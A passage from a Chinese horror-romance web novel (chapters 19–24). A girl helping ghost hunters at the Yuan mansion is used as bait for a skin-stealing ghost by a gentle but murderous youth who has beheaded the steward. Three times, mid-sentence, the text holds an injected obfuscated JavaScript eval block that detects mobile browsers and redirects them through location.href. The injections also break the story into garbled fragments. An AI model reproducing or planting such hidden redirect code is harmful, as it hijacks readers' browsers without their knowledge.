管家接过黄符,低声回了句“知道了”,转而目光又扫了一眼池镜花跟奚逢秋,什么也没说,转身安静离开此处。 池镜花趴在窗棂抬眼往外看,天空阴沉沉的,黑云压顶,似真如客栈伙计说得那样,要下一场大雨。 “池姑娘。” 池镜花正盯着窗外出神,赵星澜突然喊了声她,她一转身,便被塞了一怀抱叫不上名字的符箓,抬头时看见赵星澜露出不好意思的腼腆笑容。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244796|166345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池姑娘,麻烦你与奚公子将这些符咒贴满整个袁府。” 池镜花不明所以地偏过头,瞧见奚逢秋怀里也抱了些男主的符咒。 从窗外吹进来的银杏叶盘旋良久落在他脚边,被阴暗的光线所笼罩,少年脑袋微垂,辨不清神色,只能瞧见完好无伤的右侧脸,也不知在想些什么。 此时,赵星澜又道:“对了,尽量要在太阳下山前贴完,这样衣服鬼就无处可躲了。” “哦……哦,好。” 池镜花恍然回神,连忙将符咒揣好,再次抬头,看见那一片银杏叶不知何时被微风卷起又再次轻轻落回地面,宛如一叶扁舟。 奚逢秋不见了。 池镜花总觉得心里不大踏实,有些犹豫要不要总觉得去找他,既如此,对于男主交代的任务只有速战速决。 袁府其实不大,他们三个人分工协作,半天时间足矣。 池镜花动作很快,贴完一排房间来到尽头,虽没仔细听管家说了什么,但她隐约记得这里似是他的住处。 她尝试在门口喊了一声“管家”。 但无人回应。 池镜花急着找人,直接将符咒贴在房门和窗户上,刚做完这一切,一颗豆大冰凉的雨水滴在她的额头。 她刚伸手抹去水滴,更多的雨水啪啪地砸了下来。 雨下的很急,池镜花打了个冷颤,这附近只有这一排房屋和几棵刚年岁不久的银杏树,她只好暂时站在管家住处的屋檐下避雨。 积攒多日的雨水一经开闸,便如凶猛的洪水猛兽狠狠冲刷着的大地河流,势如破竹地扫荡每一寸土地。 恐怖又阴冷。 大抵是入秋后的每一场雨都意味着降温,所以有点冷。 她想进屋避雨。 池镜花搓了搓臂膀,不死心地朝里面呼喊几声“管家”,依旧无人回应。 总不能直接闯进去,而且也没钥匙,根本进不去,池镜花只好紧靠房门,尽量避免让自己少淋点雨。 等了许久,雨势不减反大,而且天色是越来越暗了,分明是下午,四周却宛如黑夜。 更要命的是,她浑身湿透,连火折子受潮不起作用,几乎什么也看不见。 风声、雨声、脚步声…… 等等。 脚步声? 不太对劲。 是管家回来了吗? 池镜花眼睛一亮,正要呼唤管家,视线之中忽然出现白衣少年的身影。 她想要寻找的奚逢秋正朝她缓步走来,右手提着管家的头颅,滴落的血迹拖得很长,混着雨水,往地势稍低的银杏树树根处所汇聚,逐渐形成一条触目惊心血河。 池镜花呼吸一滞,后背紧紧贴着冰冷的房门,就算是想跑也无路可退。 宛如地狱罗刹,脸上扬起愉快的笑容,眼底闪烁着兴奋的浅蓝碎光,分明杀了人,身上却除了雨水再无其他,随着陷在泥地里的脚印越来越多,他便离池镜花愈近。 奚逢秋面带清澈笑意停在她面前,鲜血继续滴落,他慢慢伸出左手。 池镜花已经紧张到无法呼吸,感觉心脏随时骤停,面上却极力维持镇定,不想在奚逢秋摊出苍白的五指后,看见一串古铜色的钥匙。 “好冷啊。” “跟我一起进去避雨,好吗?” 20. 第20章 四处漆黑,不见一丝光亮。 “咔嚓”一声,钥匙打开房门,一阵潮湿阴暗的冷风吹拂,卷起衣摆裙角。 什么也看不清,唯有“滴答滴答”的声音响彻整个房间,不知是雨水还是血水,空气中弥漫着一股浓烈的铁锈味,混合着淡淡的清香。 池镜花忍不住瑟缩了下,在房间里摸了半天也没能找到蜡烛和火折子,心跳倒是愈来愈快,感觉随时都有可能心脏骤停。 奚逢秋站在她身后不远处的门口,唇角微微上扬,眼底的兴奋尚未完全褪去,正静静凝视少女慌乱模糊的身影。 突然间,不知撞到什么硬物,池镜花一不小心嗑到手指,疼得她忍不住“嘶”了一声,眼泪差点夺眶而出。 “慢慢来,不要紧张。” 许是听到动静察觉到她情上的绪波动,奚逢秋轻声安抚她,像是最亲密的情人,言语间是道不尽的温和与耐心。 可这种温柔对于一个提着管家头颅的的人来说,实在恐怖又诡异。 怎么可能不紧张! 池镜花抿唇不语,摸黑在房间里摸索半天,终于在床底找到半截蜡烛和火折子。 她向火折子吹了一口气,点燃蜡烛,烛火盈满整间屋子,终于看清眼前一切。 屋子摆设相当简单,唯一叫人胆战心惊的是奚逢秋正右手提着管家的脑袋,滴落的鲜血汇聚细小的河流,向地势低的方向流淌,在池镜花弯腰取蜡烛时,衣摆无意间印上斑驳的血迹。 池镜花倒吸一口凉气,想要转移视线,可不管怎么躲,空气中的血腥气不容忽视。 风雨交加的夜晚,轰鸣的雷声乍起,一道闪电划过,照亮他苍白的脸颊。 他慢腾腾地跨进屋内,晶莹水珠顺着发丝滑落,他将管家的头颅随手搁置在桌上,鲜血顺着木桌上的缝隙砸向地面,形成一滩触目惊心的血迹。 奚逢秋注意到她一直站在床前没有移动半分,他歪了歪脑袋,耳铛一晃,露出纯良天真的笑容。 “太暗了,能靠近些吗?” 池镜花轻轻应声,迈着沉重的步伐走到他身边,将蜡烛搁置头颅的旁边。 不经意地一瞥,令她注意到管头颅的伤口很是齐整,应该被直接截断的,而且死前另一只眼睛还被弄瞎了。 池镜花明显愣了一下。 烛火闪烁,她忽地仰头,杏眼眨眨,闪烁着疑惑的暖色光芒。 “你们……有仇?” 冰冷的雨水顺着奚逢秋的指尖“啪嗒”砸在她的脚边,溅上她的鞋面。 奚逢秋蓦地弯了弯双眸,笑容古怪。 “你很好奇吗?” 池镜花如实点头:“嗯,很好奇。” 他继续笑着:“那要帮我上药吗?” 很好。 做交易是吧。 池镜花丝毫不怵,就着他的话往下问:“你带药了吗?” 下一秒,奚逢秋便取出取出金疮药。 池镜花接过打开,发现虽然金疮药也淋了雨,但里面没湿。 房门是开着的,池镜花向门外望去,见秋雨丝毫没有停下的趋势,想着反正也无事可做,干脆帮他上药时顺带打听一下他的过往好了。 雨声渐大,雷声渐小,光线昏暗,血气氤氲,烛影摇曳,眼前四周似模模糊糊。 奚逢秋配合着她乖巧落坐,池镜花站在他身前,微微低着头,湿漉漉的水珠顺着发丝滴在他的脸颊,落在他的眉心,混合着她的,顺着下颌又落在少女衣间。 正所谓一回生二回熟,虽然奚逢秋还会因为她触碰伤口而敏感得颤抖兴奋,但池镜花已然习惯他的这种反应,不管他做出什么来都不会觉的惊讶。 但他身上好香,一点血腥也没有,池镜花不自觉地又靠近了些。 奚逢秋长睫轻颤,呼吸稍显急促,但并非因为疼痛。 许是离得实在太近,少女几缕湿发软哒哒地搭在他的肩上,紧贴着他的衣衫,呼出的炽热气息也皆数打在他的脸颊,如同一条盘旋在他身侧的火龙。 好热。 一点也不冷。 也不疼。 可能是伤口快要愈合了。 出于怀念痛觉的那份心情,奚逢秋不知不觉已扯出白丝,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244797|166345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要制造出个新的伤口,这样,只要被她触碰,疼痛就又会回来了。 就在他准备用白丝缠住指尖时,池镜花眼疾手快一把握住他的双手,死死攥住手心,借此阻止他的下一步行动。 指尖被一股温暖柔软的触觉所包裹,不是疼痛,刹那间,力气被什么给击碎,所有白丝瞬间崩溃瓦解。 奚逢秋神情迷茫,完全不知道为何会这样,直到覆在指上的温热离去才逐渐回神。 “对不对对不起,我不是故意的。” 察觉到施加在他指尖的力气已被抽回,白丝也化为齑粉,池镜花才敢松开双手,不停道歉。 奚逢秋没有回应她,而且脑袋低垂,视线紧紧盯着被她所握过的指尖,始终想不明白为什么被她握个手就变得如此奇怪。 池镜花轻轻吐出一口浊气,暗自庆幸成功阻止他伤害自己。 对于这样一个不在乎自己性命,而且追求疼痛的变态来说,她必须得提防奚逢秋随时可能做出的任何自毁行为。 奚逢秋却迟迟没有任何反应,他脑袋低垂,神色晦暗,思绪像是不知不觉出了远门。 池镜花不解地盯了他几秒,突然一阵湿冷的风从门外窜进屋内,差点吹灭烛火。 雨好像更大了,估计要很长时间。 池镜花穿着湿衣裳,在冷风中瑟瑟发抖,只能无助地搓臂膀取暖。 无奈等了会儿,还是不见奚逢秋有任何反应,池镜花正要尝试唤他,不想在她出声之前,奚逢秋先一步用话语堵住她的嘴。 “池镜花……” 他的声音很低,池镜花下意识微微俯身靠近,想要听他说话。 “怎么了?” 回应她的又是一阵沉默。 只是和之前有所不同,奚逢秋不再是毫无反应,他缓慢抬起双眸,慢慢伸出指节分明的苍白五指,神情不再迷茫,耳铛在风中摇摆,眉宇间刻上深深的笑意。 虽然奚逢秋尚未弄清楚为何会有那种奇怪的感觉,但只要再次牵住她的手,感受她的肌肤、体温和心跳,想来就会明白了。 “我想要你的手。” 21. 第21章 手? 池镜花神情一愣,还没反应过来。 烛火明明灭灭,模糊的光影在他苍白的脸颊摇曳,耳旁风声滔滔,少年清澈的声音却轻松击穿所有杂音,直达她的耳蜗,语气中透露出几分诱哄的意味。 “我想要你的手,可以吗?” 不可以! 随着他的话音掷地,池镜花脑海已自动浮现出被砍掉双手倒在血泊中的血腥画面。 不怪她多想,这不是还有管家作为先例吗! 所以说什么也不能把手给他。 她立马将双手背在身后,指尖相互间不安地摩挲,挤出个勉强的假笑。 “我的双手没什么特别的。” 奚逢秋微微歪头,不解地“嗯”了一声,血红的耳铛映出飞舞的火光,脸颊处的伤口若隐若现。 在他看来,池镜花的一双手不仅可以给他带来疼痛,还很暖和,是他所从未遇见过的。 管家的头颅还在“啪嗒啪嗒”地滴着鲜血,门外狂风骤雨,窗户吱呀作响,所有种种皆透露着诡异恐怖的氛围。 池镜花汗毛倒竖,忍不住打了个寒颤,忙不迭地笑着转移话题,希望他别再纠结她的手。 “要不你跟我说说为何要杀管家吧?我一定会认真听的。” 许是察觉到她的意图,池镜花只觉得有道灼灼视线紧盯着她的面庞,浑身包裹在冰冷的秋雨中,可面颊却犹如火烤一般,要不是外面下着雨,她可能得跑。 是真紧张。 不过这种沉默的局面没有持续多久,耳铛所投下的影子在他颈侧轻轻晃了几下,奚逢秋先一步别过了脸。 虽然可惜,不过这种强人所难的事情他一向不大喜欢,以后还是有机会的。 “你猜对了,我和他,从前就认识。” 谈及管家,奚逢秋表情异常平静。 他微微低头,淡淡的目光轻轻落于桌面,眼底浮现出一颗被跃动火光所包围的鲜血淋漓的头颅。 池镜花正要继续往下问。 烛火猛地一暗,蜡烛差点熄灭,奚逢秋蓦地伸手慢慢靠近管家头颅,指腹按在他的眉骨处,细致地描摹出管家眼睛的形状,不知想到什么,竟开始喃喃自语。 “好黑啊……” 黑? 池镜花立马将蜡烛举到他眼前。 蜡烛突然被挪动位置,冷风欲来,火光不停闪烁,映在他的面颊,给他冷白的皮肤铺上一层温柔的暖色。 池镜花眼睛弯弯,笑问:“现在是不是好多了?” 眼底火光浮动,他长睫低垂,极轻地“嗯”了一声,依旧不知在想些什么,不过唇角的弧度却昭示着他的心情好了许多。 思忖几秒,想着好不容易才碰到个了解他过去的机会,池镜花决定接着往下问。 “那你们是有仇吗?” “可能。” 奚逢秋答得很快,但言语间却透露出种不确定的信号,忽而望向池镜花,弯起极为漂亮的双眸,笑了一下。 “不过我杀他不是因为过去,而是因为他又想杀我一次。” 池镜花不禁倒吸一口凉气,有些惊讶于管家居然敢去找男配的麻烦,图什么呀? 奚逢秋探出沾着水汽的指腹,轻按在他的眉骨,在管家空洞的眼眶四周慢慢打个转。 “可是他太弱了……” 这样弱小是没有办法杀死他的,因此,死的不是他。 “所以我为他占卜了。” 卦象显示:他就应该死在这里,这里便是他的最终归宿,正如他当初拼命逃走,来到这里一般。 因为是他自己选择的。 占卜? 对了! 池镜花灵光一现,骤然想起什么,“他剩余的身体在哪?” 奚逢秋指尖一顿,目光疑惑,“是要替他收尸吗?” 池镜花急得直摇头,“不是,我是怕你被别人发现啊!” 要是让别人知道他在袁府做这种事,肯定要出大乱子,不管是不是管家先动的手,现在已是死无对证了,他怎样都有脱不了关系。 “你的想法可真奇怪。” 似是被她逗乐,奚逢秋不由轻笑一声。 什么奇怪不奇怪的? 她都做好了成为他共犯的准备,这时候难道就不能加点好感度吗?实在不行,稍微感动一下也行啊。 可是完全无用。 奚逢秋低着头,盯着指尖的白丝,想到不久前所发生的事情。 “不要紧张,不会有人发现的。” 他记得那是一座枯井,在他亲手将管家的脑袋砍下后,管家的身躯便栽进井底,所以至少最近不会被人发现。 池镜花将信将疑,其实对于管家死在哪里没多大兴趣,感觉要是知道了是会做噩梦的程度。 她抿唇不语,时不时抬头朝门外望去,只是雨势没有一次满足她的期待。 感觉会被困很久。 “池镜花。” 似是察觉到什么,奚逢秋蓦地轻唤她一声。 池镜花不明所以地看过去。 少年面上漾着温温柔柔的笑,平静的眼底倒映柔和的烛光,神情多出几分期待。 “你今晚可以同我在一起吗?” 这么主动的吗! 还是有什么别的原因? 池镜花一时没反应过来,讷讷提问:“在这里?” 他乖巧点头,眨眼时,沾在睫羽上的一滴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没人说话,坐在桌边的奚逢秋撑着脸颊,眉眼低垂,静静凝望着指尖的丝线。 分明是他的提议,可现在看来好生奇怪。 少女的每一次的呼吸和心跳都这些细线清晰通过传给他,仿佛在不知不觉中与她同频共振,融为一体。 但也有个好处,他能以此判断池镜花是真睡还是装睡。 当然,他私心希望她赶紧入梦,这样衣服鬼才有现身的可能。 毕竟,她是他的诱饵啊。 22、第22章 刚下去的雷电轰然乍起,照亮整个屋子,不多时,光亮骤然褪去,屏风后面的残影依然清晰可见。 屋内没有点灯,漆黑一片。 袁夫人宛如僵尸般直挺挺地躺在床上。 床幔半遮半掩随风飘荡,她睡不着,睁着两颗圆溜溜的漆黑眼珠盯着某处,灵魂像是出了窍,但她只是看上去神情呆滞,事实上,她对四周高度警惕,只要有一丁点儿动静她就会弹射坐起。 已数不清多少个夜晚都是这样熬过来的。 一切都是因为半个月前突然发现的那只女鬼。 仿佛越是恐惧,便越会遇见。 只要还在这里一天,她便永远也逃不出。 袁夫人颤抖地探出瘦骨嶙峋的手指,轻柔地抚摸平坦的小腹,也许是惊吓过度,她也因此小产。 自那以后,她每晚都会做梦,梦中有孩提伤心欲绝的哭喊,怪她为何保不住自己的孩子,他好想来到人世,好想成为她的孩子,好想抱住她叫她一声“母亲“,可一旦醒来,又会被如影随形的可怖鬼魅缠住。 日日夜夜,皆不安宁。 雨水顺着屋檐泄露,在凹凸不平的地面形成一摊摊积水,晶莹明亮的水珠反射出迷蒙精致的月光,在倾盆而下的暴雨冲刷下,刹那间,崩溃了。 就在此时,笃笃的急促敲门声响起。 会在这个时间点过来的,除了袁老板便是照顾她日常生活起居的小鱼,而女鬼,不会这么有礼貌。 其实袁夫人非常喜欢小鱼,因为不会说话总是会替她省去很多不必要的麻烦。 她掀开被褥,让小鱼进来说话。 冒着大雨一路跑过来的小鱼气喘吁吁,虽撑着油纸伞,不过外衣还是湿了大半。 她急冲冲地跑进来,在地面留下两排湿漉漉的脚印,一进门,便着急忙慌地冲袁夫人比划手势。 ——袁老板正在回来的途中,并且很快就要到家了。 袁夫人“蹭”地一下站起。 她脸色惨白,干裂起皮的唇瓣亦是毫无血色,单薄的身躯分明摇摇欲坠,眼睛却闪着诡谲的光。 “你确定消息无误吗!” 小鱼铆足了劲拼命点头。 是她听从夫人命令买通马夫,这个消息也是马夫连夜派人传回的,不会有假。 这对于袁夫人来说简直晴天霹雳。 按照过往经验,她的夫君每次出门没个两三天根本回不来。 为什么偏偏是这次? 理由是什么她不在乎,她只知道绝对不可以。 自小产后,袁老板就对她的态度就大不如前,要是知道她把这些道士弄到家里来,肯定会一纸休书休了她。 不,不行! 她不能坐以待毙,得想办法! 袁夫人迈着沉重的步伐,拖着摇晃的身躯,停在小鱼跟前,干瘪的十指托住她那巴掌大的面颊,双眸溢满痴醉的笑容。 “好小鱼,告诉我,那几个人现在在哪?” 掰着手指头算,袁夫人在意的人有三个,而其中一个正在睡觉。 池镜花睡得并不安稳。 分明处于熟睡,可耳边似乎总是能听见听见淅沥沥的雨声和轰鸣的雷声,而且还有一团煞是熟悉的香气萦绕在她身侧。 感觉奚逢秋离她很近。 同样意味着危险。 睡梦中,她猛地扯住白丝,却是什么也没发生,只有清香离她更近,仿佛就在她伸手可触的地方。 若是池镜花睁眼,便能发现奚逢秋就端坐在她床边,正侧着头,饶有兴趣地观察着“她”,对接下来可能发生的一切都十分期待。 可池镜花正在做梦。 当然,不是什么好梦。 梦里,她被什么狠狠掐住脖颈,四肢动弹不得,原本站在她身后的黑影慢慢飘到她面前,依旧看不清黑影的具体长相,更为准确地说是血肉模糊,没有人皮。 “你好漂亮啊……” 黑影缓慢开口,声音倒是异常好听,宛如动听的琴音,尾音微微上扬,混合着逐渐模糊的雨声,在池镜花耳蜗里不停打转炸裂。 “你的脸,好漂亮,我很满意。” 黑影忽而发出沉醉而低沉的笑声,“相信他也一定想得到,这样一来,我就能找到它了。” 池镜花确信这团没有实体的黑影就是衣服鬼,只是不知为何对她的人皮很感兴趣。 没听男女主说过衣服鬼还有这种嗜好啊! “把你的皮给我,让我进入你的身体吧,放心,我一定会仔细保管的。” 毫无征兆地,缠住她的鬼影施加力气,掐得她喘不过来气来,身体变得僵硬,就好像阴冷的鬼气从四面八方往她身体里钻,仿佛要夺走他身体的控制权。 看样子是准备附她的身。 虽然不愿,但躯体不受控制,池镜花几乎没有反抗的资本,只有意识越来越模糊,什么也看不清了。 就在意识消散的前一秒,池镜花恍然想起这是她的梦,那只要醒来就好了。 于是她奋力咬破舌尖。 好疼! 她忍不住皱了下眉,但也由于疼痛,鬼影如潮水迅速褪去,似是不甘心就此退场,最后时分,鬼影拼尽全力地呐喊着,贴着她的脸颊不舍地游离片刻才消失殆尽。 池镜花终于醒了,睁眼时口腔里还弥漫着淡淡的铁锈腥气。 她惊魂未定地缓慢坐起,一抬眸,与坐在她床边的奚逢秋打了个照面。 蜡烛早已燃尽,只剩一摊烛泪,池镜花只能借着朦胧的月色看见奚逢秋面上挂着淡淡的笑,五官昳丽宛若壁画仙人。 少年面色苍白,眼睫低垂,耳铛泛出幽幽红光,他的发梢还挂着雨水,其中一滴落在她的指尖。 池镜花惊地猛地一颤。 奚逢秋略带遗憾地望着她微微颤抖的指尖。 “好可惜,差一点就成功了。” 可惜? 差一点成功? 池镜花恍然大悟。 所以……他哄骗她睡觉就是为了引出衣服鬼? 她讷讷眨了眨眼,第一直觉是生气,很快,她又想起原著内容。 原著里,似乎就是男配不知道通过什么法子引出衣服鬼,接着才被男主用符除去,但没说是这种方法啊。 所以若是照原著发展,这个诱饵就算不是她也会有别人。 想到这,池镜花忽然没了生气的理由,令她更为在意的是——认识这么久,奚逢秋对待她的态度居然跟路人一样? 可恶啊。 以前只是说说,现在她是真的不想再跟奚逢秋呼吸同一片空气。 池镜花咬了咬唇,突然一下子松开一直以来死死拽在手里的白丝,任由其散落一地。 “我要回去了。” 她的态度比以往任何时候都要冷淡。 池镜花低着头一言不发地套上湿哒哒的外衣,从柜子里取出一把油纸伞,撑着伞独自快步离开此处。 不曾看他一眼。 奚逢秋没有挽留她,只静静目送她的离去,可在她的身影消失后,四处暗了,什么也看不清,而且不知为何,周围一切突然变得好安静。 什么风声雨声,通通消失,仿佛只剩下自己迷茫的心跳声。 为什么会这样? 他也不清楚。 直到白鹤找上门来,站在门口伸长脖子向屋内张望,朝他叫唤了几声,奚逢秋才回过神。 他蓦地弯了弯双眼,笑容温柔而古怪,将这浓重夜色划开一道永远合不上的裂缝。 “你也觉得太安静了是不是?” 没有她的声音、她的呼吸、她的心跳,一切都不对劲了。 他已经开始怀念她了。 池镜花却觉得他这个人相当无情无义。 怎么会有人认识这么久,居然还一声不吭地拿她当做诱饵呢? 就算不喜欢,也不能拿她的性命开玩笑吧。 所以说,直到现在,他都不在乎她的死活。 池镜花回到房间的第一件事,就是给自己倒杯凉茶去火,接着便撑着面颊长叹一口气。 池镜花完全没有头绪,不知道接下来还能怎么做才能让他喜欢自己,哪怕只有一点点也好。 就在此时,门口突然传来一阵轻轻慢慢的脚步声。 池镜花下意识以为是奚逢秋,但抬头一看,虽然光线昏暗辨不清来者是谁,但根据身形判断应是名身材纤细的女子。 是女主还是衣服鬼? 两者虽然都是女鬼,但性质截然不同。 池镜花刚从衣服鬼手下死里逃生,难免感到紧张。 她踢开凳子,警惕后退几步,其实已经偷偷摸出一张符咒,随时准备正面刚。 一道闪电劈在恰巧院子里的空地,猛地窜起的火光映出门口那人惨白的面容和一张诡异可怖的笑脸。 不曾想竟是袁夫人。 她赤着脚一路找过来,脚底被锋利的石子硌出血,浑身被雨水浇透,犹如从河里爬上来的水鬼,手里拎着一把崭新晃眼的柴刀,正微微笑着,晃晃悠悠地一步步地朝池镜花走去。 23、第23章 惊雷乍起,落地的白光突然照亮袁夫人惨白凹陷的双颊,任何光亮都透不进她的漆黑双瞳,直勾勾地盯着池镜花,下一瞬,咧嘴露出讨好诡异的笑容。 “对不起,池姑娘,我没有别的选择了。” 她的语气十分温柔,恰似一江春水在心间缓缓荡漾,湖面的水草扩散开来,荡开的波纹仿佛包裹着锐利的刀。 池镜花看见了袁夫人手里的柴刀,紧紧握住符咒,身体不自觉地紧张绷直。 雷声闪电纵横交错,半明半暗的光在袁夫人身上不停闪烁,沉默的黑暗始终没有将她吞噬,留得一丝裂缝窥探人世。 袁夫人面上的笑容还在继续,她突然举起弯弯的柴刀,朝池镜花走来。 起初步子很慢,即将靠近池镜花的瞬间,身形骤然一晃,猛地朝她的脑袋狠狠竖劈。 池镜花反应极快,一个侧身歪头的动作闪过攻击。 小命虽然保住了,令池镜花百思不得其解的是——袁夫人为何要杀她? 还是说……衣服鬼附身失败,转而去找袁夫人了? 可衣服鬼蛰伏在袁府这么久也没想着得到袁夫人的躯体,按理说,袁夫人应当不是她的目标。 那这一切只有可能是袁夫人自身意志催生下产生的行动。 想通这点的池镜花趁着袁夫人恍神的间隙,连连倒退几步,就着黑暗,身形迅速遁入巨大的屏风后方——一个狭窄的通道。 啪! 被柴刀扫到的茶壶和杯盏碎了一地,顿时,柴刀尖锐的尖顶插入木桌里。 袁夫人费了九牛二虎之力才将柴刀拔出,一抬脚,踩到满地的陶瓷碎片,她微微一顿,僵硬地转动眼珠向下瞥了一眼,硬生生地拔出几块碎片,随手扔向一侧,发出几道清脆声响。 仿佛感受不到一丝疼痛,袁夫人踏着血脚印不慌不忙地开始找人,语气听着十分轻快。 “池姑娘,你在哪儿?快出来吧,快出来吧,我看到你喽!” 袁夫人所吐出的每一个字催命效果不亚于奚逢秋的铜板。 池镜花静静躲在屏风后方一隅,死死攥住衣裙的一角,大气不敢喘。 袁夫人精神状态绝对不正常,或许真如客栈伙计所说的那样——疯了! 不知过去多久,零零碎碎的脚步声依旧不绝于耳。 袁夫人还在这。 床上、床底、柜子里、门后…… 在翻找过所有可能藏人的地点却始终没能找到池镜花后,袁夫人情绪明显不太对劲。 “你在哪儿!在哪儿!” 池镜花没有应声,也不敢。 除非袁夫人力气大到能一口气推倒这一排藏青色的屏风,否则是不可能发现她的。 但这么一直躲下去也不是个办法,还得想个法子从这里逃出去。 就在她绞尽脑汁地思考对策之时,袁夫人突然望向门外鱼肚白的天色,再次癫狂地大喊。 “不行,相公要回来了,不能让他看到你们,快点出来,让我杀了你,让我杀了你,这样相公就不会知道你们来过!快点出来!” 池镜花总算明白袁夫人为何要杀她。 因为袁老板讨厌道士,所以就想在袁老板赶回来之前将他们杀了,这样这件事就不会有人知道。 果然,疯子的脑回路都与众不同。 池镜花垂着脑袋悄悄叹口气,哀叹自己命太苦,似乎自从到了这儿,她遇到的,除了男女主,就没有一个正常人。 还没待她细想,袁夫人忽然挥着柴刀胡乱地砍,目之所及之处,皆是她的目标。 “出来!快出来!” 照这样下去,屏风迟早得烂。 池镜花思考要不要出去奋力一搏,虽然她不想杀袁夫人,当然,也不一定是袁夫人的对手,但总得为自己博取一线生机。 就在池镜花已经说服自己,半个身体已经踏出屏风。 闪电又起,四周骤然明亮起来。 下一刻,“当啷”一声,柴刀被袁夫人扔出门外半米远。 但这并不是袁夫人在乱掷,而是恐慌地在拼命阻挡着什么。 “鬼!女鬼!” “啊啊啊啊啊啊啊啊啊,为什么,为什么,为什么要缠着我!” “我的孩子,我的孩子已经被你带走了,你究竟还要怎么样!快点滚开,滚开啊!” 池镜花视线中出现一团漂浮在空中模糊黑影,绕过袁夫人,径直地朝她而来,步步紧逼,将她堵在墙角。 是衣服鬼! 由于梦里发生的事情还历历在目,恐惧诸加在身,致使池镜花浑身僵硬不得动弹。 来到她跟前的衣服鬼逐渐幻化出人形,四周悬挂着犹如飘带的森森鬼气,露出内里渗人的鲜红血肉。 衣服鬼没有皮。 “你好漂亮,我好满意,给我吧,不,借给我吧,把你的皮借给我,好吗?” 说是借,但一团阴森的鬼气已覆上她的脸颊,反复兴奋地摩挲着,似在打量着一件精美的商品。 池镜花咬紧牙关,竭尽全力地一挥,不想下一瞬,阴冷鬼气竟缠上她的手腕,将她双手死死固定,任由她如何用力也挣脱不开。 “你不愿?” “我不是说过会好生对待你的皮囊吗?为什么还要与我作对呢?真是令人生厌!” 衣服鬼声音低沉不悦,突然间,施加在池镜花身上的力量陡然增加,似是想要徒手捏碎她的骨头。 手腕处传来的强烈疼痛,像是被重锤抡过几轮一般,严丝合缝的,连骨头缝都被剧烈的疼痛所填满。 池镜花疼得眼泪直打转,在心中祈祷男主快些赶过来,作为诱饵,她已经快支撑不住了。 但只要一想到这些天她遇到的糟心事,眼泪便止不住地啪啪往下掉。 出于最后的倔强和自尊心,她紧紧咬住唇瓣,没有太大声,更想止住泪水。 指尖忽然微动。 池镜花抬眸望去,看见小指贴着一根银白色的细线,而线的一头隐于黑暗,而终端则连接着衣服鬼的脖颈。 她没有办法直接接触衣服鬼,但从妖怪身体里长出的白丝可以。 从黑暗中探出的白丝缠住衣服鬼的脖颈和四肢,下一刻,白丝倏忽收缩力气,将她牢牢钉在屋柱上。 鬼气尽数散去,只剩一片狼藉。 衣袂冷风中翻飞,奚逢秋不知何时来到她身侧。 苍白的指尖缠着几根白丝,少年昳丽的五官仿佛渡着一层湿冷的雾气,乌黑的发梢滴着雨水,仿佛跌落地狱的谪仙,正动作温柔地替她擦去眼角的泪珠。 “别怕。” “我会保护你的。” 24、第24章 仿佛山上初次见面那般,奚逢秋异常温柔,以微凉的指腹轻轻替她擦拭去眼角模糊的泪水。 若不是池镜花深知他本性如何,差点又要落入圈套。 但令池镜花感到欣慰的是,奚逢秋的这种温柔举动并非来自伪装。 像是一个银币的两面:温柔是一面,有病是另一面。 不过都是他就是了。 池镜花一时怔住,仰头微微睁大眼睛望着眼前。 在为池镜花擦净眼泪后,少年的食指指骨轻轻擦过她的脸颊,如一条冰凉的蛇爬过她的肌肤,引起一阵无名的颤栗。 奚逢秋不解地歪了歪脑袋,不明白到底要怎样做才能平复她的恐惧情绪。 没等他探索出有效的方法,天已蒙蒙亮,被暴雨冲刷过的落叶陷入松松软软的泥土当中,空气中弥漫着一股淡淡的芬芳。 一阵急促杂乱的脚步声就此传来。 是小鱼跟袁老板。 被袁老板威胁带路的小鱼神色慌张,而袁老板则是圆目怒瞪,一手提着衣服怕沾上更多泥泞,一手指向这里。 “你们在做什么!” 他甫一接近,恢复神智的袁夫人跪爬过来,双臂紧紧抱着他的大腿,神色惊恐,身子哆哆嗦嗦。 “相公!有鬼,真的有鬼,他们是来帮我们捉鬼的!” “事到如今,你怎么还信这些无稽之谈!” 袁老板怒不可遏,听不得丝毫神鬼之事,一把揪住袁夫人湿漉漉泛白的衣领,粗鲁地将她拎起,眉宇间丑陋的皱纹挤在一起,包藏无数怒火。 “你个废物!保不住孩子也就算了,非要把整个家搞的乌烟瘴气!” 袁老板愤怒地扬起手,一巴掌即将落下。 “袁老爷!” 好在赵星澜及时赶到,眼疾手快地抓住袁老板的手腕,阻止了他的暴行。 袁老板扭过头,看见赵星澜熟悉的着装打扮,露出几分轻蔑的笑,明显对道士这个身份极为不信。 赵星澜并不在意他对自己的看法。 此时,暴雨过后,已渐渐冒头的金色日光洒在他身上,赵星澜释然一笑,全身上下仿佛散发着正道的光。 “袁老爷,既然你不信家中有鬼,那池姑娘身上的伤你要如何解释?” 话题突然转向池镜花,她足足愣了三秒才慢慢回神。 